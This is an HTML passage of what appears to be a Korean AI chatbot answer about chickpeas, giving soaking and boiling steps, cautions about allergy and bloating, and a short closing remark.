jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQBxHkkflBI5RGndsdgsZE7mfGm-n30qfEuZR36kXhkXanZNuvG9q_8FOVQQvQy41Qg1WKrER7J3bLO82m6c3j14O3KB22d1P_QqkkixA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.sweetpeapot.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 아보카도 스프레드 </div></div></single-image></response-element></div></p> </li> </ul><h3 data-sourcepos="32:1-32:22">병아리콩, 이렇게 준비해 보세요!</h3><ol data-sourcepos="34:1-37:0"> <li data-sourcepos="34:1-34:52"><strong>불리기:</strong> 병아리콩은 딱딱하기 때문에 요리 전 충분히 물에 불려주는 것이 좋습니다.</li> <li data-sourcepos="35:1-35:41"><strong>삶기:</strong> 불린 병아리콩을 냄비에 넣고 물과 함께 푹 삶아주세요.</li> <li data-sourcepos="36:1-37:0"><strong>다양한 요리에 활용:</strong> 삶은 병아리콩을 으깨거나 통째로 사용하여 다양한 요리에 활용해 보세요.</li> </ol><h3 data-sourcepos="38:1-38:8">주의사항</h3><ul data-sourcepos="40:1-42:0"> <li data-sourcepos="40:1-40:42"><strong>알레르기:</strong> 병아리콩에 알레르기가 있는 경우 섭취를 피해야 합니다.</li> <li data-sourcepos="41:1-42:0"><strong>소화불량:</strong> 과도하게 섭취하면 복부 팽만감이나 가스가 발생할 수 있습니다.</li> </ul><p data-sourcepos="43:1-43:60"><strong>병아리콩</strong>은 건강한 식단을 위한 좋은 선택입니다. 다양한 레시피를 활용하여 맛있고 건강하게 즐겨보세요!</p><p data-sourcepos="45:1-45:30"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="47:1-47:62"><strong>참고:</strong> 위에 제시된 는 예시이며, 실제 는 검색 엔진에서 직접 검색하여 확인할 수 있습니다.</p></div> </div></div>